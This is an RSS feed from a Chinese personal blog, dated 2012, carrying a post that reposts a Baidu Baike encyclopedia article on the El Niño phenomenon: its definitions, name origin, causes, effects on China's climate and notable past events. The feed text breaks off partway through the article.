<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>悠闲居</title>
	<atom:link href="http://blog.yxzone.net/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.yxzone.net</link>
	<description>有人的地方就有江湖,有江湖的地方就有博客!</description>
	<lastBuildDate>Wed, 25 Apr 2012 01:56:49 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>厄尔尼诺</title>
		<link>http://blog.yxzone.net/2012/04/25/628.html</link>
		<comments>http://blog.yxzone.net/2012/04/25/628.html#comments</comments>
		<pubDate>Wed, 25 Apr 2012 01:45:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[-天下杂侃]]></category>
		<category><![CDATA[厄尔尼诺]]></category>

		<guid isPermaLink="false">http://blog.yxzone.net/?p=628</guid>
		<description><![CDATA[科技名词定义 中文名称： 厄尔尼诺 英文名称： El Nin~o;El Nino;El Nio;El Ni~Do (西) 定义1： 赤道太平洋冷水域中海温异常升高的现象。 应用学科： 地理学（一级学科）；气候学（二级学科） 定义2： 赤道中东太平洋海面温度异常升高的现象。 应用学科： 海洋科技（一级学科）；海洋科学（二级学科）；海洋气象学（三级学科） 定义3： 赤道东太平洋冷水域中海温异常升高现象。这种周期性的海洋事件产生的异常热量进入大气后影响全球气候。 应用学科： 生态学（一级学科）；全球生态学（二级学科） 定义4： 西班牙语，意为“圣婴”。赤道东太平洋水域水温度异常增高现象。 应用学科： 水产学（一级学科）；水产基础科学（二级学科） 以上内容由全国科学技术名词审定委员会审定公布 百科名片 厄尔尼诺现象示意图 厄尔尼诺（El Ni&#38;ntilde;o Phenomenon）又称厄尔尼诺海流，是太平洋赤道带大范围内海洋和大气相互作用后失去平衡而产生的一种气候现象，就是沃克环流圈东移造成的。正常情况下，热带太平洋区域的季风洋流是从美洲走向亚洲，使太平洋表面保持温暖，给印尼周围带来热带降雨。但这种模式每2—7年被打乱一次，使风向和洋流发生逆转，太平洋表层的热流就转而向东走向美洲，随之便带走了热带降雨，出现所谓的“厄尔尼诺现象”。 目录 简介 名称由来 特征 起因 相关现象 发展 影响 科普图书《厄尔尼诺》 相关探究 展开 简介 正常情况下，热带太平洋区域的季风洋流是从美洲走向亚洲，使太平洋表面保持温暖，给印尼周围带来热带降雨。但这种模式每2—7年被打乱一次，使风向和洋流发生逆转，太平洋表层的热流就转而向东走向美洲，随之便带走了热带降雨，出现所谓的“厄尔尼诺现象”。 这一现象本质上由海洋动力学驱动，与之相应的大气变化是由海表面温度确定的（反过来大气的变化会加强海洋温度分布型），而海表面温度分布是由海洋动力学决定的，因而用上面的简化模型表示的厄尔尼诺现象本质上是可预报的。 厄尔尼诺的全过程分为发生期、发展期、维持期和衰减期，历时一般一年左右，大气的变化滞后于海水温度的变化。 厄尔尼诺现象泛指赤道附近的东部太平洋表层海水温度上升引起的气候异常现象。 厄尔尼诺现象不是孤立的现象，它是热带海洋洋流与大气互作用的产物。 名称由来 “厄尔尼诺”一词来源于西班牙语，原意为“圣婴”，La Ni&#38;ntilde;o. 19世纪初，在南美洲 厄尔尼诺 的厄瓜多尔、秘鲁等西班牙语系的国家，渔民们发现，每隔几年，从10月至第二年的3月便会出现一股沿海岸南移的暖流，使表层海水温度明显升高。南美洲的太平洋东岸本来盛行的是秘鲁寒流，随着寒流移动的鱼群使秘鲁渔场成为世界四大渔场之一，但这股暖流一出现，性喜冷水的鱼类就会大量死亡，使渔民们遭受灭顶之灾。由于这种现象最严重时往往在圣诞节前后，于是遭受天灾而又无可奈何的渔民将其称为上帝之子－－圣婴。 [...]]]></description>
			<content:encoded><![CDATA[<h6>科技名词定义</h6>
<dl>
<dt>中文名称： </dt>
<dd>厄尔尼诺 </dd>
<dt>英文名称： </dt>
<dd>El Nin~o;El Nino;El Nio;El Ni~Do (西) </dd>
<dt>定义1： </dt>
<dd>赤道太平洋冷水域中海温异常升高的现象。 </dd>
<dt>应用学科： </dt>
<dd><a href="http://baike.baidu.com/view/35670.htm">地理学</a>（一级学科）；<a href="http://baike.baidu.com/view/101008.htm">气候学</a>（二级学科） </dd>
<dt>定义2： </dt>
<dd>赤道中东太平洋海面温度异常升高的现象。 </dd>
<dt>应用学科： </dt>
<dd>海洋科技（一级学科）；<a href="http://baike.baidu.com/view/175557.htm">海洋科学</a>（二级学科）；<a href="http://baike.baidu.com/view/55316.htm">海洋气象学</a>（三级学科） </dd>
<dt>定义3： </dt>
<dd>赤道东太平洋冷水域中海温异常升高现象。这种周期性的海洋事件产生的异常热量进入大气后影响全球气候。 </dd>
<dt>应用学科： </dt>
<dd><a href="http://baike.baidu.com/view/71787.htm">生态学</a>（一级学科）；<a href="http://baike.baidu.com/view/45254.htm">全球生态学</a>（二级学科） </dd>
<dt>定义4： </dt>
<dd>西班牙语，意为“圣婴”。赤道东太平洋水域水温度异常增高现象。 </dd>
<dt>应用学科： </dt>
<dd>水产学（一级学科）；水产基础科学（二级学科） </dd>
</dl>
<p>以上内容由<a href="http://baike.baidu.com/view/1490464.htm">全国科学技术名词审定委员会</a>审定公布</p>
<p><span id="more-628"></span><br />
<h6>百科名片</h6>
<p><a href="http://baike.baidu.com/albums/1705/1705/0/0.html#0$8a95ad1c2d79f5bb87d6b68e"><img title="厄尔尼诺现象示意图" alt="厄尔尼诺现象示意图" src="http://imgsrc.baidu.com/baike/abpic/item/8a95ad1c2d79f5bb87d6b68e.jpg" /> </a></p>
<p>厄尔尼诺现象示意图</p>
<p>厄尔尼诺（El Ni&amp;ntilde;o Phenomenon）又称厄尔尼诺海流，是太平洋赤道带大范围内海洋和大气相互作用后失去平衡而产生的一种气候现象，就是<a href="http://baike.baidu.com/view/1407180.htm">沃克环流圈</a>东移造成的。正常情况下，热带太平洋区域的<a href="http://baike.baidu.com/view/1138117.htm">季风洋流</a>是从美洲走向亚洲，使太平洋表面保持温暖，给印尼周围带来热带降雨。但这种模式每2—7年被打乱一次，使风向和洋流发生逆转，太平洋表层的热流就转而向东走向美洲，随之便带走了热带降雨，出现所谓的“<a href="http://baike.baidu.com/view/797.htm">厄尔尼诺现象</a>”。</p>
<p>目录</p>
<dl>
<dd><a href="http://baike.baidu.com/view/1705.htm#1" name="STAT_ONCLICK_UNSUBMIT_CATALOG"></a></dd>
<dd><a href="http://baike.baidu.com/view/1705.htm#2" name="STAT_ONCLICK_UNSUBMIT_CATALOG"></a></dd>
<dd><a href="http://baike.baidu.com/view/1705.htm#3" name="STAT_ONCLICK_UNSUBMIT_CATALOG"></a></dd>
<dd><a href="http://baike.baidu.com/view/1705.htm#4" name="STAT_ONCLICK_UNSUBMIT_CATALOG"></a></dd>
<dd><a href="http://baike.baidu.com/view/1705.htm#5" name="STAT_ONCLICK_UNSUBMIT_CATALOG"></a></dd>
<dd><a href="http://baike.baidu.com/view/1705.htm#6" name="STAT_ONCLICK_UNSUBMIT_CATALOG"></a></dd>
<dd><a href="http://baike.baidu.com/view/1705.htm#7" name="STAT_ONCLICK_UNSUBMIT_CATALOG"></a></dd>
<dd><a href="http://baike.baidu.com/view/1705.htm#8" name="STAT_ONCLICK_UNSUBMIT_CATALOG"></a></dd>
</dl>
<dl>
<dd><a href="http://baike.baidu.com/view/1705.htm#1" name="STAT_ONCLICK_UNSUBMIT_CATALOG">简介</a></dd>
<dd><a href="http://baike.baidu.com/view/1705.htm#2" name="STAT_ONCLICK_UNSUBMIT_CATALOG">名称由来</a></dd>
<dd><a href="http://baike.baidu.com/view/1705.htm#3" name="STAT_ONCLICK_UNSUBMIT_CATALOG">特征</a></dd>
<dd><a href="http://baike.baidu.com/view/1705.htm#4" name="STAT_ONCLICK_UNSUBMIT_CATALOG">起因</a></dd>
<dd><a href="http://baike.baidu.com/view/1705.htm#5" name="STAT_ONCLICK_UNSUBMIT_CATALOG">相关现象</a></dd>
<dd><a href="http://baike.baidu.com/view/1705.htm#6" name="STAT_ONCLICK_UNSUBMIT_CATALOG">发展</a></dd>
<dd><a href="http://baike.baidu.com/view/1705.htm#7" name="STAT_ONCLICK_UNSUBMIT_CATALOG">影响</a></dd>
<dd><a href="http://baike.baidu.com/view/1705.htm#8" name="STAT_ONCLICK_UNSUBMIT_CATALOG">科普图书《厄尔尼诺》</a></dd>
<dd>
<ul>
<li><a href="http://baike.baidu.com/view/1705.htm#9" name="STAT_ONCLICK_UNSUBMIT_CATALOG">相关探究</a></li>
</ul>
<p>展开</p>
</dd>
</dl>
<h4><a name="1"></a><a name="sub1705_1"></a>简介</h4>
<p>  正常情况下，热带<a href="http://baike.baidu.com/view/1955.htm">太平洋</a>区域的季风洋流是从美洲走向<a href="http://baike.baidu.com/view/2918.htm">亚洲</a>，使太平洋表面保持温暖，给印尼周围带来热带降雨。但这种模式每2—7年被打乱一次，使风向和洋流发生逆转，太平洋表层的热流就转而向东走向<a href="http://baike.baidu.com/view/6891.htm">美洲</a>，随之便带走了热带降雨，出现所谓的“<a href="http://baike.baidu.com/view/797.htm">厄尔尼诺现象</a>”。
<p> 这一现象本质上由<a href="http://baike.baidu.com/view/135353.htm">海洋动力学</a>驱动，与之相应的<a href="http://baike.baidu.com/view/2759.htm">大气</a>变化是由海表面温度确定的（反过来大气的变化会加强海洋温度分布型），而海表面温度分布是由海洋动力学决定的，因而用上面的简化模型表示的厄尔尼诺现象本质上是可预报的。 </p>
<p> 厄尔尼诺的全过程分为发生期、发展期、维持期和衰减期，历时一般一年左右，大气的变化滞后于海水温度的变化。 </p>
<p> 厄尔尼诺现象泛指赤道附近的东部太平洋表层海水温度上升引起的气候异常现象。 </p>
<p> 厄尔尼诺现象不是孤立的现象，它是热带海洋洋流与大气互作用的产物。 </p>
<h4><a name="2"></a><a name="sub1705_2"></a>名称由来</h4>
<p>  “厄尔尼诺”一词来源于<a href="http://baike.baidu.com/view/20564.htm">西班牙语</a>，原意为“<a href="http://baike.baidu.com/view/883308.htm">圣婴</a>”，La Ni&amp;ntilde;o.
<p> 19世纪初，在<a href="http://baike.baidu.com/view/3225.htm">南美洲</a></p>
<p><a href="http://baike.baidu.com/albums/1705/1705/0/0.html#0$d872d6954d75977ad1135ecc"><img title="厄尔尼诺" src="http://imgsrc.baidu.com/baike/abpic/item/d872d6954d75977ad1135ecc.jpg" /></a></p>
<p>厄尔尼诺</p>
<p>的<a href="http://baike.baidu.com/view/5923.htm">厄瓜多尔</a>、<a href="http://baike.baidu.com/view/10316.htm">秘鲁</a>等西班牙语系的国家，<a href="http://baike.baidu.com/view/425119.htm">渔民</a>们发现，每隔几年，从10月至第二年的3月便会出现一股沿海岸南移的暖流，使表层海水温度明显升高。南美洲的太平洋东岸本来盛行的是<a href="http://baike.baidu.com/view/279411.htm">秘鲁寒流</a>，随着寒流移动的鱼群使秘鲁渔场成为世界四大<a href="http://baike.baidu.com/view/23442.htm">渔场</a>之一，但这股暖流一出现，性喜冷水的鱼类就会大量死亡，使渔民们遭受灭顶之灾。由于这种现象最严重时往往在圣诞节前后，于是遭受天灾而又无可奈何的渔民将其称为上帝之子－－圣婴。 </p>
<p> 后来，在科学上此词语用于表示在秘鲁和厄瓜多尔附近几千公里的东太平洋海面温度的异常增暖现象。当这种现象发生时，大范围的海水温度可比常年高出3－6<a href="http://baike.baidu.com/view/423347.htm">摄氏度</a>。太平洋广大水域的水温升高，改变了传统的赤道洋流和<a href="http://baike.baidu.com/view/814880.htm">东南信风</a>，导致全球性的气候反常。 </p>
<h4><a name="3"></a><a name="sub1705_3"></a>特征</h4>
<p>  厄尔尼诺现象的基本特征是太平洋沿岸的海面水温异常升高，海水水位上涨，并形成一股暖流向南流动。它使原属冷水域的太平洋东部水域变成暖水域，结果引起海啸和暴风骤雨，造成一些地区干旱，另一些地区又降雨过多的异常气候现象。
<p> 至1997年的20年来厄尔尼诺现象分别在76－77年、82－83年、86－87年、91－93年和94－95年出现过5次。1982—1983年间出现的厄尔尼诺现象是本世纪以来最严重的一次，在全世界造成了大约1500人死亡和80亿<a href="http://baike.baidu.com/view/25549.htm">美元</a>的财产损失。进入90年代以后，随着全球变暖，<a href="http://baike.baidu.com/view/1705.htm">厄尔尼诺</a>现象出现得越来越频繁。 </p>
<p> 厄尔尼诺的全过程分为发生期、发展期、维持期和衰减期四个时期，历时一般一年左右，大气的变化滞后于海水温度的变化。 </p>
<p> 在<a href="http://baike.baidu.com/view/4427516.htm">气象科学</a>高度发达的今天，人们已经了解：太平洋的中央部分是<a href="http://baike.baidu.com/view/94009.htm">北半球</a>夏季气候变化的主要动力源。通常情况下，太平洋沿<a href="http://baike.baidu.com/view/2578057.htm">南美大陆</a>西侧有一股北上的秘鲁寒流，其中一部分变成<a href="http://baike.baidu.com/view/1275.htm">赤道</a>海流向西移动，此时，沿赤道附近海域向西吹的季风使暖流向太平洋西侧积聚，而下层冷海水则在东侧涌升，使得太平洋西段<a href="http://baike.baidu.com/view/3222.htm">菲律宾</a>以南、<a href="http://baike.baidu.com/view/202985.htm">新几内亚</a>以北的海水温度渐渐升高，这一段海域被称为“<a href="http://baike.baidu.com/view/1398491.htm">赤道暖池</a>”，同纬度东段海温则相对较低。对应这两个海域上空的大气也存在温差，东边的温度低、气压高，冷空气下沉后向西流动；西边的温度高、气压低，热空气上升后转向东流，这样，在太平洋中部就形成了一个海平面冷空气向西流，高空热空气向东流的大气环流（<a href="http://baike.baidu.com/view/240597.htm">沃克环流</a>），这个环流在海平面附近就形成了东南信风。但有些时候，这个气压差会低于多年平均值，有时又会增大，这种大气变动现象被称为“<a href="http://baike.baidu.com/view/240610.htm">南方涛动</a>”。 60年代，气象学家发现厄尔尼诺和南方涛动密切相关，气压差减小时，便出现厄尔尼诺现象。厄尔尼诺发生后，由于暖流的增温，太平洋由东向西流的季风大为减弱，使大气环流发生明显改变，极大影响了太平洋沿岸各国气候，本来湿润的地区干旱，干旱的地区出现洪涝。而这种气压差增大时，海水温度会异常降低，这种现象被称为“<a href="http://baike.baidu.com/view/27358.htm">拉尼娜现象</a>”。“拉尼娜现象”同样很受重视<b>。</b></p>
<p><a href="http://baike.baidu.com/albums/1705/1705/0/0.html#0$54baacfbab2157134f4aeace"><img title="中国沿海" src="http://imgsrc.baidu.com/baike/abpic/item/54baacfbab2157134f4aeace.jpg" /></a></p>
<p>中国沿海</p>
<p> 20世纪60年代以后，随着观测手段的进步和科学的发展，人们发现厄尔尼诺现象不仅出现在南美等国沿海，而且遍及东太平洋沿赤道两侧的全部海域以及环太平洋<a href="http://baike.baidu.com/view/8426.htm">国家</a>；有些年份，甚至印度洋沿岸也会受到厄尔尼诺带来的<a href="http://baike.baidu.com/view/379025.htm">气候异常</a>的影响，发生一系列<a href="http://baike.baidu.com/view/99839.htm">自然灾害</a>。总的来看，它使南半球气候更加干热，使北半球气候更加寒冷潮湿。 </p>
<p> 近年来，<a href="http://baike.baidu.com/view/66827.htm">科学家</a>对厄尔尼诺现象又提出了一些新的解释，即厄尔尼诺可能与海底地震，海水含盐量的变化，以及大气环流变化等有关。厄尔尼诺现象是周期性出现的，大约每隔2－7年出现一次。 </p>
<p> 由于科技的发展和世界各国的重视，科学家们对厄尔尼诺现象通过采取一系列预报模型，海洋观测和卫星侦察，海洋大气偶合等科研活动，深化了对这种气候异常现象的认识。首先认识到厄尔尼诺现象出现的<a href="http://baike.baidu.com/view/2505.htm">物理</a>过程是海洋和大气相互作用的结果，即海洋温度的变化与大气相关联。所以在80年代后，科学家们把厄尔尼诺现象称之为“安索”（enso)现象。其次是热带海洋的增温不仅发生在南美<a href="http://baike.baidu.com/view/10206.htm">智利</a>海域，而且也发生在东太平洋和西太平洋。它无论发生在哪时，都会迅速地导致全球气候的明显异常，它是气候变异的最强信号，所以会导致全球许多地区出现严重的干旱和水灾等自然灾害。 </p>
<p> 从中国6-8月主要雨带位置来看，在75%的<a href="http://baike.baidu.com/view/3065846.htm">厄尔尼诺年</a>内，<a href="http://baike.baidu.com/view/135896.htm">夏季</a>雨带位置在江、淮流域。形象一点说，热带地区大气环流的低频振荡可比作是热带地区的心脏跳动，<a href="http://baike.baidu.com/view/2982569.htm">厄尔尼诺事件</a>的发生就好象是热带地区得了一个心脏病，使得规律性的低频振荡出现了异常现象。 </p>
<p> 当上述厄尔尼诺现象发生时， 遍及整个中、东以及太平洋海域，表面水温正距平高达3℃以上，海温的强烈上升造成水中浮游生物大量减少，秘鲁的渔业生产受到打击，同时造成厄瓜多尔等赤道<a href="http://baike.baidu.com/view/1559454.htm">太平洋地区</a>发生洪涝或干旱灾害，这样的厄尔尼诺现象称为厄尔尼诺事件。一般认为海温连续三个月正距平在 0.5℃以上，即可认为是一次厄尔尼诺事件。相反，如果南美沿岸海温连续三个月负距平在 0.5℃以上，则认为是反厄尔尼诺事件，又称拉尼娜事件。当前据气象学家的研究普遍认为：厄尔尼诺事件的发生对全球不少地区的气候灾害有预兆意义，所以对它的监测已成为气候监测中一项重要的内容。 </p>
<h4><a name="4"></a><a name="sub1705_4"></a>起因</h4>
<p>  在<a href="http://baike.baidu.com/view/94182.htm">气象</a>科学高度发达的今天，人们已经了解：太平洋的中央部分是北半球夏季气候变化的主要动力源。太平洋沿南美大陆西侧有一股北上的秘鲁寒流，其中一部分变成南赤道暖流向西移动，此时，沿赤道附近海域向西吹的季风使暖流向太平洋西侧积聚，而下层冷海水则在东侧涌升，使得太平洋西段菲律宾以南、新几内亚以北的海水温度升高，这一段海域被称为“赤道暖池”，同纬度东段海温则相对较低。对应这两个海域上空的大气也存在温差，东边的温度低、气压高，冷空气下沉后向西流动；西边的温度高、气压低，热空气上升后转向东流，这样，在太平洋中部就形成了一个海平面冷空气向西流，高空热空气向东流的大气环流（沃克环流），这个环流在海平面附近就形成了东南信风。但有些时候，这个气压差会低于多年平均值，有时又会增大，这种大气变动现象被称为“南方涛动”。
<p> 60年代，气象学家发现厄尔尼诺和南方涛动密切相关，气压差减小时，便出现厄尔尼诺现象。厄尔尼诺发生后，由于暖流的增温，太平洋由东向西流的季风大为减弱，使大气环流发生明显改变，极大影响了太平洋沿岸各国气候，本来湿润的地区干旱，干旱的地区出现洪涝。而这种气压差增大时，海水温度会异常降低，这种现象被称为“拉尼娜现象”。 </p>
<h4><a name="5"></a><a name="sub1705_5"></a>相关现象</h4>
<h5><a name="5_1"></a><a name="sub1705_5_1"></a>影响</h5>
<p>  科学家的最新研究成果表明，在全球各地导致破坏性干旱、暴风雨和洪水的罪魁祸首——厄尔尼诺气候现象的活动<a href="http://baike.baidu.com/view/120466.htm">周期</a>为200年。
<p> 气象专家预言，目前这股不太剧烈的厄尔尼诺可能致使冬天延长，增加<a href="http://baike.baidu.com/view/2398.htm">美国</a>南部的暴风雨，并使中西部地区比较干旱。但是，美国国家海洋和大气管理局的<a href="http://baike.baidu.com/view/186298.htm">专家</a>表示，这次的厄尔尼诺现象将比1997至1998年的弱一些；那一次的厄尔尼诺导致成千上万人死亡，并造成世界<a href="http://baike.baidu.com/view/1298491.htm">直接经济损失</a>达数十亿美元。 </p>
<h5><a name="5_2"></a><a name="sub1705_5_2"></a>越发频繁</h5>
<p>  “厄尔尼诺现象”一般每隔2－7年出现一次。但是，20世纪90年代后，这种<a href="http://baike.baidu.com/view/865008.htm">现象</a>却出现得越来越频繁了。不仅如此，随周期缩短而来的，是“厄尔尼诺现象”滞留时间的延长。这一现象引起了科学家的注意，虽然对“厄尔尼诺现象”的探索还在进行中，但科学家们普遍认为，“厄尔尼诺现象”的频频发生与地球温暖化有关，其变化的迹象表明，“厄尔尼诺现象”并不仅仅是天灾。<br />
<h5><a name="5_3"></a><a name="sub1705_5_3"></a>09年厄尔尼诺</h5>
<p> <b>09年厄尔尼诺是否再现</b>
<p> 今年“圣婴”厄尔尼诺又可能来了。赤道太平洋海洋持续异常偏暖的现象被称为“厄尔尼诺”，它的反复出现具有一定的周期性，一般3－7年出现一次。上一次厄尔尼诺现象出现在2006年，因此这个老相识现在也是时候“卷土重来”了。 </p>
<p> 据<a href="http://baike.baidu.com/view/1313807.htm">国家气候中心</a>最新监测表明：6月份赤道<a href="http://baike.baidu.com/view/19973.htm">中东</a>太平洋大范围海表温度较常年同期异常偏暖，偏暖中心值超过1.0℃；赤道太平洋次表层整体为异常暖水控制；与此同时，近期热带大气也出现了与海洋异常相匹配的调整：反映<a href="http://baike.baidu.com/view/1024543.htm">大气异常</a>的南方涛动指数较前期显著降低，赤道太平洋上空大部分地区为减弱的信风控制。 </p>
<p><a href="http://baike.baidu.com/view/4054101.htm">任福民</a>表示，6月份赤道中东太平洋出现了明显的厄尔尼诺特征，预计未来3-6个月，赤道中东太平洋海表温度将持续较常年同期异常偏暖0.5℃以上。由此，可以认为今年6月赤道中东太平洋已进入厄尔尼诺状态，将发展成为一次厄尔尼诺事件。 </p>
<p> 气候异常的成因错综复杂，是多种气候影响因子综合作用的结果。中国的气候不仅受到厄尔尼诺或拉尼娜的影响，也同时受到中高纬度大气环流、<a href="http://baike.baidu.com/view/4979.htm">青藏高原</a>积雪、季风、<a href="http://baike.baidu.com/view/2920993.htm">西太平洋副热带高压</a>等多个因子的制约。因此，即使形成厄尔尼诺事件，后期将如何影响中国的气候仍具有不确定性，气象部门还将对热带海洋大气未来的发展以及各种气候因子进行全面的密切监视和综合分析。 </p>
<h5><a name="5_4"></a><a name="sub1705_5_4"></a>淮河洪涝</h5>
<p>  厄尔尼诺是一种发生在热带海洋中的异常现象，其显著特征是赤道太平洋东部和中部海域海水出现显著增温。中国厄尔尼诺评判标准为海温距平指数≥0.5℃且至少持续6个月，则定义为一次厄尔尼诺事件。要想得知今年是不是厄尔尼诺年，那就要等到11月份。
<p> 任福民在采访中提到，目前中国江淮已出现暴雨洪涝灾害，并且部分地区的大雨仍在持续， 防汛形势严峻，厄尔尼诺现象的征兆似乎已经开始显现。如果是厄尔尼诺现象，那么它对这次降水是有利的。 </p>
<p> 据气象历史资料显示，在75%的厄尔尼诺年内，中国夏季雨带位置常在<a href="http://baike.baidu.com/view/1255666.htm">江淮流域</a>。受厄尔尼诺影响，中国长江以南的降雨带会比常年偏多；而随之带来的是厄尔尼诺现象发生后的次年，南方易出现洪涝。近百年来发生在中国的严重洪水，如1931年、1954年和1998年，都发生在厄尔尼诺年的次年。 </p>
<p> 中国1998年夏季长江流域的<a href="http://baike.baidu.com/view/338417.htm">特大暴雨</a>洪涝就与1997-1998年厄尔尼诺现象密切相关。当年厄尔尼诺强大的影响力一直从1997年上半年续待至1998年上半年。98年全球年平均气温达到 14.5℃，创下有现代气象记载以来的最高纪录；而中国那年也遭遇了历史罕见的特大洪水，那一年被称为20世纪最强烈的厄尔尼诺现象。 </p>
<p> 2009年地球将很热 </p>
<h5><a name="5_5"></a><a name="sub1705_5_5"></a>威力强大</h5>
<p> <b>肆虐威力不可挡 封称年际气候异常信号</b>
<p> 在气候预测领域，厄尔尼诺是迄今为止公认的最强的年际气候异常信号之一。它常常会使北美地区当年出现暖冬，南美沿海持续多雨，还可能使得<a href="http://baike.baidu.com/view/3692.htm">澳大利亚</a>等热带地区出现旱情。 </p>
<p> 厄尔尼诺现象是海洋和大气相互作用不稳定状态下的结果。据统计，每次较强的厄尔尼诺现象都会导致全球性的气候异常，由此带来巨大的经济损失。中国1998年夏季长江流域的特大暴雨洪涝就与1997-1998年厄尔尼诺现象密切相关，气象部门正是主要依据这一因子很好地提供了预测服务。 </p>
<p> 此外，通常在厄尔尼诺现象发生的当年，中国的夏季风会较弱，<a href="http://baike.baidu.com/view/3813974.htm">季风雨</a>带偏南，北方地区夏季往往容易出现干旱、高温天；厄尔尼诺可能会使冬季出现暖冬的几率增大；夏季<a href="http://baike.baidu.com/view/417546.htm">东北地区</a>出现低温的几率增大；<a href="http://baike.baidu.com/view/1047364.htm">西北太平洋</a>的台风产生个数及在中国沿海登陆个数均较正常年份偏少。由此可见，中国的气候也在厄尔尼诺现象的影响范围之内。 </p>
<h5><a name="5_6"></a><a name="sub1705_5_6"></a>新闻背景</h5>
<p> <b>坏脾气“婴儿”——厄尔尼诺：</b>
<p> 在西班牙语里原本是“圣婴”的意思。厄尔尼诺与拉尼娜（异常寒冷的寒流被称为“拉尼娜”）经常交替出现。此外厄尔尼诺的影响程度和威力较拉尼娜要大，影响范围也较广。 </p>
<p> 19世纪初，在南美洲的厄瓜多尔、秘鲁等西班牙语系国家的渔民们发现，每隔几年，从10月至第二年的3月便会出现一股沿海岸南移的暖流，使表层海水温度明显升高。这股暖流一出现，性喜冷水的鱼类就会大量死亡，使渔民们遭受灭顶之灾。在科学上此词语用于表示在秘鲁和厄瓜多尔附近几千公里的东太平洋海面温度的异常增暖现象。 </p>
<p> 中国地域辽阔，横跨热带、<a href="http://baike.baidu.com/view/93914.htm">亚热带</a>、温带和寒带四个温区，而且又地处太平洋西岸，因此厄尔尼诺现象也不可避免地影响到中国的气候。分析表明，盛产于中国黄海和<a href="http://baike.baidu.com/view/45137.htm">渤海</a>的对虾产量与厄尔尼诺现象密切相关。每当发生厄尔尼诺现象时，对虾的产量就明显下降，平均下降幅度为30%。发生强厄尔尼诺现象时，产量的下降就更为显著，平均下降幅度达70%之多。在最强的厄尔尼诺年1982年，对虾产量只有高产年份（1956年和1979)的1/7。（采写：<a href="http://baike.baidu.com/view/2232767.htm">刘珺</a>） </p>
<h4><a name="6"></a><a name="sub1705_6"></a>发展</h4>
<h5><a name="6_1"></a><a name="sub1705_6_1"></a>定义</h5>
<p>  流经南美沿岸的秘鲁海流是一支冷洋流，在几乎与秘鲁海岸平行的东南信风的吹送下，表层海水离岸外流，深层海水上涌补充，同时将营养盐类挟至上层，因而浮游生物繁盛，吸引大量秘鲁<a href="http://baike.baidu.com/view/22153.htm">沙丁鱼</a>等冷水性鱼类在这儿繁衍、栖息，使该地区成为著名的东南太平洋渔场。可是在某些年份，东南信风暂时减弱，太平洋赤道逆流的南支越过赤道沿厄瓜多尔沿岸南下，使厄瓜多尔和秘鲁沿岸水温迅速升高，冷水性浮游生物和鱼类因未适应新的环境而大量死亡。由于沿海水温上升在圣诞节即圣子耶稣诞辰前后最为激烈，秘鲁居民将这种海水温度季节性上升的现象称为厄尔尼诺（厄尔尼诺为西班牙文音译，意为圣婴）。<br />
<h5><a name="6_2"></a><a name="sub1705_6_2"></a>现象</h5>
<p>  厄尔尼诺发生时，秘鲁渔获量严重减少，并波及世界饲料市场供应；鱼类尸体堆积在海滨，污染了周围的海水；沿岸地区和岛屿上的海鸟因缺乏食物纷纷逃离，影响了鸟粪工业生产，使工人失业。厄尔尼诺不仅给南美沿岸人民生活带来巨大灾难，也往往酿成全球性的灾难性气候异常，如连续出现的世界范围的洪水、暴风雪、旱灾、地震等，报纸上概称为&quot;厄尔尼诺现象（事件）&quot;，科学家们则把那些季节升温十分激烈，大范围月平均海温高出常年1度以后的年份才称为厄尔尼诺年。 1982年－1983年，通常干旱的赤道东太平洋降水大增，南美西部夏季出现反常暴雨，厄瓜多尔、秘鲁、智利、巴拉圭、<a href="http://baike.baidu.com/view/4484.htm">阿根廷</a>东北部遭受洪水袭击，厄瓜多尔的降水比正常年份多15倍，洪水冲决堤坝，淹没农田，几十万人无家可归。在美国西海岸，<a href="http://baike.baidu.com/view/526914.htm">加州</a>沿海公路被淹没，内华达等五个州的洪水和泥石流巨浪高达9米。在太平洋西侧，澳大利亚由于干旱引起灌木林大火，造成多人死亡；<a href="http://baike.baidu.com/view/2174.htm">印度</a>尼西亚的<a href="http://baike.baidu.com/view/2332022.htm">东加里曼丹</a>发生森林大火，并殃及马来西亚和<a href="http://baike.baidu.com/view/3593.htm">新加坡</a>；大火产生的烟雾使马来西亚空运中断，三个州被迫实行定量供水，新加坡的炎热是三十五年来最严重的。据统计，本次厄尔尼诺事件在世界范围造成的经济损失约为200亿美元。范围可达整个热带太平洋东部至中部。现在，厄尔尼诺一词已被气象学家和<a href="http://baike.baidu.com/view/1014773.htm">海洋学家</a>专门用来指赤道中、东太平洋海水的大范围异常增温现象。一些专家学者的研究表明，厄尔尼诺与印度、<a href="http://baike.baidu.com/view/20086.htm">东南亚</a>、印度尼西亚、澳大利亚等地的干旱，赤道中<a href="http://baike.baidu.com/view/564092.htm">太平洋岛屿</a>、南美洲太平洋沿岸厄瓜多尔、秘鲁、智利、阿根廷等国的异常多雨有着密切的关系，与西北太平洋、大西洋热带风暴的减小、<a href="http://baike.baidu.com/view/1554.htm">日本</a>及中国东北的夏季低温，中国的降水等也有一定的相关性。
<p> 1997年3月起，热带中、东太平洋海面出现异常增温，至7月，海面温度已超过以往任何时候，由此引起的气候变化已在一些地区显露出来。多种迹象表明，赤道东太平洋的冷水期已经结束，开始向暖水期转换。科学家们由此认为，新一轮厄尔尼诺现象开始形成，并将持续到1998年。也正是从这一刻起，地球上的气候开始乱了套。 </p>
